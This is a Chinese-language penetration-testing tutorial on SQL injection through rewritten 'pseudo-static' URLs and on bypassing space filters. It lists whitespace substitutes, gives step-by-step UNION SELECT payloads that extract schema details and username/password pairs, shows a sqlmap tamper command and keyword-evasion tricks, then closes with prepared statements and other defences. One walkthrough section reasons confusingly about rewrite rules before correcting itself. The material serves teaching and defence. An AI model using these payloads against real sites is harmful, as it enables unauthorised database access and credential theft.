1. 项目概述:当“伪静态”遇上“空格限制”
在Web渗透测试的实战中,我们常常会遇到一些“看起来很美”的防护措施。比如,很多开发者认为,只要把URL从传统的?id=1改成/news/1.html这样的伪静态形式,就能有效隐藏参数,增加攻击难度。再比如,在输入过滤层面,简单粗暴地过滤或限制空格字符,也被视为一种常见的“加固”手段。然而,安全从来都是一个攻防对抗的动态过程。今天要聊的“伪静态注入”及其相关的“空格限制绕过”,正是攻击者针对这两种常见防护思路的精准打击。
简单来说,伪静态注入的本质,是将传统的动态参数隐藏在看似静态的URL路径中,但其后端处理逻辑依然是动态查询数据库。攻击者需要识别出URL中哪一部分是实际传递给后端程序的参数,并尝试对其进行注入。而空格限制绕过,则是在后端对用户输入中的空格进行过滤、替换或限制时,寻找功能等效的替代字符,以构造出能够被数据库正确解析的恶意SQL语句。
理解这两个技术点,对于安全从业者而言具有双重意义。对于防御方,它能让你看清那些“表面功夫”下的真实风险,从而实施更有效的代码层防护。对于学习者和CTF选手,这是提升手工注入技巧、理解WAF(Web应用防火墙)绕过原理的绝佳案例。接下来,我们将从原理到实战,一步步拆解这两个“拦路虎”。
2. 伪静态注入的原理与识别
2.1 伪静态技术的工作机制
伪静态,顾名思义,就是“伪装成静态”。它通常通过Web服务器(如Apache的mod_rewrite模块、Nginx的rewrite规则)的URL重写功能实现。其核心目的是提升URL的美观度和SEO友好度,而非安全性。
一个典型的转换过程如下:
- 原始动态URL:
http://target.com/news.php?id=123 - 重写规则(示例):将
/news/(\d+).html重写为/news.php?id=$1 - 用户访问的伪静态URL:
http://target.com/news/123.html
从用户和浏览器的角度看,访问的是一个静态页面。但从服务器端看,news.php脚本依然被调用,并且参数id的值123通过重写规则被提取并传递。安全风险就藏在这里:开发者容易因为URL形态的改变而放松对参数id的过滤和校验,误以为它不再是一个可控的输入点。
2.2 如何识别伪静态注入点
识别伪静态注入点的关键在于观察和测试URL的规律。
1. 观察URL模式:
- 存在明显的数字ID序列,如
/article/1.html,/product/55.html。 - URL路径中存在看似是目录,但实际可能是参数的部分,如
/category/books/item/1024,这里的1024很可能就是item_id参数。 - 文件扩展名可能是
.html,.htm,甚至无扩展名,但页面内容明显是动态生成的(如包含用户评论、时间戳等)。
2. 基础测试方法:
- 数字型参数测试:尝试修改URL中的数字部分。将
/news/123.html改为/news/124.html,如果页面内容(如文章标题、正文)随之改变,则基本确定该数字是参数。 - 错误触发测试:这是判断注入类型的关键。将数字改为一个可能引发错误的Payload。
- 尝试
/news/123'或/news/123\"。如果页面返回数据库错误(如MySQL的You have an error in your SQL syntax),则说明存在字符型注入,且未正确过滤引号。 - 尝试
/news/123 and 1=1和/news/123 and 1=2。如果两个页面返回结果不同(1=1正常,1=2异常或空白),则极可能存在数字型或未闭合的数字型注入。但在伪静态环境下,空格可能被URL编码或触发重写规则错误,直接这样测试可能失败,这就需要用到后续的绕过技巧。
- 尝试
3. 实战中的技巧:有时,参数可能不是简单的数字,而是经过编码或具有特定格式。例如,URL为/news/abc-123.html。你需要猜测abc-123的整体是参数,还是只有123是参数。可以尝试:
- 将
abc-123整体替换为123'进行测试。 - 如果网站使用类似
/date/2024-05-15/news.html的格式,那么2024-05-15很可能就是一个直接拼接到SQL语句WHERE date='2024-05-15'中的参数。
注意:在测试伪静态注入点时,务必注意URL的完整性。错误的测试可能破坏重写规则,导致404错误。这不一定代表没有注入,可能只是你的Payload格式不符合重写规则预期的正则表达式。例如,规则可能只匹配数字
(\d+),你传入123'包含非数字字符,直接被重写模块拒绝,根本到不了后端PHP脚本。此时,你需要先确保Payload符合规则(例如,先保证是数字),再通过其他方式(如注释符)来构造语句。
3. 空格限制的常见方式与绕过原理
在注入测试中,空格是分隔SQL关键字和语句成分的重要字符。例如UNION SELECT username, password FROM users。如果空格被过滤,这条语句将无法被数据库解析。防御方通常会采用以下几种方式处理空格:
- 直接删除:将输入中的空格字符( ,
%20)全部移除。 - 替换为其他字符:如将空格替换为下划线
_或空字符串。 - 限制空格数量:只允许出现一个空格,或多个空格被压缩为一个。
- WAF/过滤规则拦截:检测到特定关键字组合中间存在空格时进行阻断。
针对这些限制,攻击者发展出了一系列功能等效的“空白符”替代方案。其核心原理是:在SQL语法中,某些位置的空格并非必需,可以用其他字符或方式实现相同的分隔效果。
3.1 绕过空格限制的替代字符
以下字符在大多数数据库管理系统中(如MySQL、MariaDB)都可以作为空格的替代品,用于分隔SQL关键字:
| 替代字符 | URL编码 | 说明与示例 |
|---|---|---|
/**/(多行注释) | %2F%2A%2A%2F | 最常用、最可靠。MySQL将/**/视为一个可被忽略的注释块,完美充当空格。UNION/**/SELECT |
%09(水平制表符 TAB) | %09 | 在HTTP请求中,TAB符也是空白符。UNION%09SELECT |
%0a(换行符 LF) | %0a | 换行符在某些上下文中可作分隔。UNION%0aSELECT |
%0b(垂直制表符) | %0b | 一个不常见的空白符。UNION%0bSELECT |
%0c(换页符) | %0c | 另一个不常见的空白符。UNION%0cSELECT |
%0d(回车符 CR) | %0d | 回车符。UNION%0dSELECT |
()(括号) | %28%29 | 括号可以包裹子查询或表达式,有时能创造分隔效果,但更常用于绕过特定关键字检测。 |
+(加号) | %2b | 注意:仅在URL参数或GET请求中,加号会被服务器解码为空格。在POST正文或MySQL原生语句中,+是加法运算符,不能替代空格。例如在URL中:?id=1+union+select。 |
实操心得:
/**/是首选,兼容性极佳,且因为它是注释,有时能绕过一些简单的关键字匹配过滤(过滤规则可能只匹配UNION SELECT而不匹配UNION/**/SELECT)。- 在测试时,应使用Burp Suite的Intruder或Repeater模块,系统地遍历这些替代字符,观察响应差异。
- 一个重要区别:
%20是URL编码的空格,而上述列表是空格的“替代品”。如果服务器只是简单过滤 和%20,那么使用%09、/**/等就能轻松绕过。如果服务器进行了更全面的空白符过滤,可能需要组合使用或寻找更偏门的技巧。
3.2 高级绕过:利用SQL语法特性
当所有常见的空白符替代都被过滤时,就需要深入理解SQL语法,寻找无需空格也能正确解析的语句构造方式。
1. 利用括号和注释巧解FROM子句:在UNION SELECT注入中,FROM关键字后通常需要空格。如果空格被过滤,可以尝试:
UNION SELECT 1,2,3 FROM users可以尝试变形为:
UNION SELECT 1,2,3 FROM(users)或者,利用注释将FROM和表名连在一起,但让数据库能解析:
UNION SELECT 1,2,3 FROM/**/users如果/**/也被过滤,可以尝试用括号包裹表名,但这依赖于数据库版本和模式,并非总是有效。
2. 内联注释(/*! ... */)的妙用:MySQL特有的内联注释,其中的代码会被MySQL执行,而其他数据库会视其为普通注释。它内部的空格有时能逃过过滤。
UNION/*!SELECT*/1,2,3甚至可以在内联注释中指定MySQL版本,实现更精细的绕过:/*!50001UNION SELECT*/表示在MySQL 5.00.01及以上版本才执行其中的语句。
3. 反引号(`)包裹:在MySQL中,反引号用于包裹数据库名、表名、字段名(尤其是当它们与关键字冲突时)。在极端情况下,可以尝试:
UNION SELECT `username`,`password` FROM `users`虽然关键字之间仍需分隔,但反引号能帮助解析器区分边界,有时与无空格语句结合能产生奇效,但这属于非常规技巧,成功率不高。
4. 利用字符串连接符:在某些情境下,可以通过构造字符串连接来绕过对特定函数空格的限制,但这通常用于绕过union select这类固定短语的检测,而非纯粹的空格过滤。
核心要点:空格绕过不是机械地替换字符,而是理解SQL解析器如何识别语句的“词元”。我们的目标是构造一个能被数据库正确解析为合法词元序列的字符串,至于词元之间是空格、制表符还是注释,解析器并不关心。
4. 实战演练:伪静态注入与空格绕过组合拳
理论说得再多,不如一次实战。我们假设一个目标:http://target.com/blog/123.html。我们怀疑它是一个伪静态页面,对应blog.php?id=123,并且服务器过滤了空格。
4.1 第一步:确认注入点与类型
- 基础访问:访问
http://target.com/blog/123.html,页面正常显示某篇博客。 - 参数探测:访问
http://target.com/blog/124.html,内容变化,确认124是参数。 - 错误法测类型:
- 访问
http://target.com/blog/123'.html。如果页面报SQL语法错误,说明是字符型注入,且单引号未过滤。原SQL可能类似SELECT * FROM blog WHERE id='123'。 - 如果上一步无错误,访问
http://target.com/blog/123 and 1=1.html。但这里有个陷阱:and 1=1中间有空格,可能被过滤或导致重写规则失效(规则可能只匹配(\d+)),页面直接404。这说明我们需要同时处理伪静态规则和空格过滤。
- 访问
4.2 第二步:构造符合重写规则且绕过空格的Payload
假设重写规则是^/blog/(\d+)\.html$重写为/blog.php?id=$1。这意味着我们传入的路径中,blog/和.html之间的部分必须是一个或多个数字,否则规则不匹配,返回404。
我们的Payload必须满足是“数字”这个形式。如何做到?利用SQL注释符!
- 对于MySQL,
--(后面有个空格)或#是行注释符。在URL中,#需要编码为%23。 - 原语句可能是:
SELECT ... FROM ... WHERE id='123' - 我们构造:
123' and '1'='1- 最终SQL:
SELECT ... FROM ... WHERE id='123' and '1'='1'恒真。 - 但
and前后需要分隔。我们不能用空格,用/**/替代。 - 关键点:Payload整体
123'/**/and/**/'1'='1不是纯数字,会破坏重写规则。怎么办? - 技巧:将注释放在参数值内部,利用注释使后面的部分被SQL引擎忽略,但重写规则只看到数字。
- 构造:
123'--.html- 传递给重写规则的部分是
123(纯数字),规则通过。 - 传递给
blog.php的id参数值是123'--。 - 最终SQL:
SELECT ... FROM ... WHERE id='123'-- '。--后面的单引号被注释掉了,语句合法。
- 传递给重写规则的部分是
- 访问:
http://target.com/blog/123'-- .html(注意,--后有一个空格,在URL中为%20,但可能被过滤,所以常用#即%23替代) - 更优构造:
http://target.com/blog/123'%23.html(%23是#的URL编码)- 重写规则看到
123。 id参数收到123'#。- SQL:
SELECT ... FROM ... WHERE id='123'#',#之后的所有内容被注释。
- 重写规则看到
- 最终SQL:
如果页面正常返回,说明注入存在。为了验证,可以构造一个恒假条件对比:
- 恒真:
http://target.com/blog/123'%23.html(SQL:id='123'#) - 恒假:
http://target.com/blog/123' and 1=2%23.html(但and需要空格) - 绕过空格构造恒假:
http://target.com/blog/123'/**/and/**/1=2%23.html- 这里
/**/在重写规则看来是非数字字符,导致404。此路不通。
- 这里
我们需要一个既能充当空格,又能被重写规则认为是数字一部分的字符。实际上没有这种字符。所以,我们必须调整思路:先保证Payload能通过重写规则(即开头是数字),然后立即用注释符截断,将真正的注入Payload放在注释符后面?不行,注释符后面的内容SQL不执行。
解决方案:将注入Payload全部放在注释符之前,但确保整个字符串以数字开头。
- 尝试:
123'and'1'='1(无空格)- SQL:
id='123'and'1'='1'。这取决于SQL解析器的容错性。在某些情况下,MySQL能解析'123'and'1'='1',将and前后的字符串比较结果进行逻辑与操作。但这不稳定。
- SQL:
- 更可靠的方案:使用括号和运算。
- 构造:
123'and(1)or('1'='2(这是一个故意构造的畸形语句,用于探测,不展开) - 这变得非常复杂且不通用。
- 构造:
因此,在伪静态+空格过滤的复合限制下,最实用的初步测试方法是:
- 先测试注释符是否生效:
123'%23。如果页面正常,说明单引号闭合,注释符起效,注入点存在。 - 要测试布尔条件,需要更精巧的、无需空格的SQL语句,或者寻找其他未被过滤的分隔符,如
%0b。
假设%23注释成功。我们已确认注入。下一步是联合查询。
4.3 第三步:进行联合查询(Union Select)获取信息
联合查询需要union和select两个关键字,且通常需要空格。我们使用/**/绕过。
- 判断列数(使用
order by):order by也需要空格。构造:123'/**/order/**/by/**/1%23- 访问:
http://target.com/blog/123'/**/order/**/by/**/1%23.html - 逐渐增加数字,直到页面错误:
.../by/**/5%23.html错误,则列数为4。 - 这里
/**/在重写规则看来是非数字字符,再次导致404!我们遇到了核心矛盾。
终极矛盾与解决方案:伪静态的重写规则要求路径片段是纯数字,而注入Payload需要引入非数字字符(如'、union、select、/**/)。除非规则设计有严重缺陷(比如允许非数字),否则无法直接在路径中注入。
那么伪静态注入如何发生?通常有以下几种情况:
- 规则缺陷:重写规则过于宽松,例如
^/blog/(.*)\.html$,匹配了任何字符。这样123'就能通过。 - 多参数伪静态:URL形如
/blog/123-title.html。规则可能提取123作为id,title作为另一个参数。注入点可能在title部分,而该部分允许更多字符。 - 其他注入点:虽然主ID参数被伪静态保护,但页面可能存在其他未伪静态化的参数(如
/blog/123.html?sort=date),注入点在那里。
假设我们遇到的是情况1,规则宽松。那么后续步骤为:
执行联合查询:
- 确定列数后(例如4列),构造联合查询Payload。
123'/**/union/**/select/**/1,2,3,4%23- 访问对应URL,查看页面中哪个位置显示了
2或3(数字被替换为查询结果的位置)。
获取数据库信息:
- 假设第2、3位可显示。
- 查询当前数据库:
123'/**/union/**/select/**/1,database(),user(),4%23 - 查询表名:
123'/**/union/**/select/**/1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()%23- 注意:
from前后也需要/**/分隔。如果from被过滤,可以尝试from/**/information_schema.tables。
- 注意:
- 查询字段名:
123'/**/union/**/select/**/1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'%23 - 最终拖取数据:
123'/**/union/**/select/**/1,group_concat(username,':',password),3,4 from users%23
4.4 使用SQLMap进行自动化测试
对于伪静态注入,SQLMap需要特殊处理。直接跑sqlmap -u "http://target.com/blog/123.html"是没用的,因为SQLMap不认识这个URL是动态的。
你需要用*标记注入点:
sqlmap -u "http://target.com/blog/123*.html" --tamper=space2comment*告诉SQLMap,123这个位置是注入点。--tamper=space2comment加载一个绕过脚本,自动将空格替换为/**/。
如果网站有复杂的重写规则,可能需要指定--prefix和--suffix选项来帮助SQLMap构造正确的Payload格式,或者使用--eval选项在每次请求时用Python代码处理URL。这需要对目标站点的重写规则有深入了解,手工测试往往更灵活。
5. 防御之道:从根源上杜绝注入
理解了攻击手法,防御思路就清晰了。伪静态和过滤空格都是“表面防护”,治标不治本。
1. 使用预编译语句(Prepared Statements):这是唯一从根本上解决SQL注入的方法。无论是PHP的PDO、MySQLi,还是Java的PreparedStatement、Python的cursor.execute(),其原理都是将SQL语句的结构(模板)与数据(参数)分开发送给数据库。数据库先编译语句结构,再将参数作为纯数据处理,无论参数中包含什么'、union、/**/,都不会改变原语句的语义。
// PHP PDO 示例 $stmt = $pdo->prepare("SELECT * FROM blog WHERE id = ?"); $stmt->execute([$id]); // $id 来自 /blog/123.html 中提取的“123” $result = $stmt->fetchAll();2. 严格的输入验证与类型转换:对于id这类明确是数字的参数,在进入SQL查询前,必须进行强制类型转换。
$id = (int)$_GET['id']; // 或 intval($_GET['id']) // 或者从伪静态路径中提取后 if (!is_numeric($extracted_id)) { die('Invalid input'); } $id = (int)$extracted_id;这样,即使攻击者传入123' union select 1,2,3#,$id也会被转换为整数123,后面的Payload被丢弃。
3. 最小化数据库权限:应用程序连接数据库的账户,不应具有DROP、FILE、GRANT等高级权限。通常只赋予SELECT、INSERT、UPDATE、DELETE等必要权限。这样即使发生注入,损害也能被限制。
4. 安全的伪静态实现:在重写规则中,就进行严格的输入限制。例如,只允许数字:
# Nginx 示例 location ~ ^/blog/(\d+)\.html$ { try_files $uri $uri/ /blog.php?id=$1; } # Apache .htaccess 示例 RewriteRule ^blog/([0-9]+)\.html$ blog.php?id=$1 [L]确保规则只匹配数字([0-9]+或\d+),这样非数字的Payload在到达PHP脚本前就被Nginx/Apache拒之门外,提供了第一道防线。
5. 不要依赖黑名单过滤:过滤空格、union、select等关键字是徒劳的。攻击者有无数种绕过方式(大小写、双写、编码、注释分割、等价函数替换)。安全的核心是“白名单”思维:只允许已知好的、预期的输入格式。
6. 常见问题与排查技巧实录
Q1: 测试伪静态注入时,总是返回404错误,怎么办?A1: 这很可能是因为你的Payload不符合服务器的URL重写规则。解决步骤:
- 先确认正常页面的URL格式,确保你的测试URL在结构上与之一模一样。
- 尝试最基础的参数变化(如数字递增),确认参数位置。
- 使用最简单的Payload测试,如仅添加一个单引号
',并确保其URL编码(%27)后,整个路径片段仍符合规则(例如,如果规则要求数字,123%27就不符合)。 - 考虑注入点可能不在路径中,而在其他位置(如Header、Cookie、POST数据)。
Q2: 使用/**/绕过空格,但网站还是拦截了请求,为什么?A2: 可能原因:
- WAF/过滤规则升级:有些WAF已经能识别
/**/作为空格的替代。可以尝试其他替代符,如%09、%0a等。 - 关键字被单独过滤:可能
union和select这两个词本身被过滤了,与空格无关。需要尝试关键字绕过,如UnIoN(大小写混淆)、uniunionon(双写绕过)、%75nion(URL编码)等。 - 长度或特殊字符限制:请求可能因包含过多特殊字符或长度异常被整体拒绝。
Q3: 联合查询时,页面没有显示预期的数字位,是哪里出错了?A3: 可能原因及排查:
- 列数不对:重新用
order by精确判断列数。 - 数据类型不匹配:联合查询前后两个
SELECT语句对应列的数据类型必须兼容。如果原查询第一列是字符串,而你union select 1,2,3...的第一列是数字1,可能导致查询失败或结果显示异常。尝试将数字改为字符串:union select 'a','b','c'。 - 显示位置不在当前页面:查询结果可能被插入到HTML的隐藏标签、JavaScript变量或注释中。查看网页源代码进行搜索。
- 有错误但被屏蔽:开启数据库错误显示通常有助于调试,但在生产环境不现实。可以尝试构造一个必然出错的Payload(如
union select 1,concat(0x7e,version(),0x7e),3),看页面是否空白或异常,间接判断。
Q4: 在DVWA、Pikachu等靶场练习时,伪静态环境如何搭建?A4: 这些靶场默认通常不是伪静态。要练习,你需要手动配置。以DVWA为例(假设使用Apache):
- 确保Apache启用了
mod_rewrite模块。 - 在DVWA根目录创建或编辑
.htaccess文件,添加规则:
这条规则将RewriteEngine On RewriteRule ^vulnerabilities/sqli/(\d+)/?$ vulnerabilities/sqli/index.php?id=$1 [L,NC]/vulnerabilities/sqli/1映射到/vulnerabilities/sqli/index.php?id=1。 - 将DVWA SQL注入关卡改为使用
$_GET['id'],并修改源码,使其从伪静态URL中获取ID(可能需要修改includes/dvwaPage.inc.php或相关文件)。这是一个进阶的练习,能让你更深刻地理解伪静态的实现与风险。
手工注入是理解SQL注入本质的最佳途径,它能锻炼你面对各种奇怪过滤和限制时的思维灵活性。而真正保障安全,永远始于开发者笔下严谨的代码。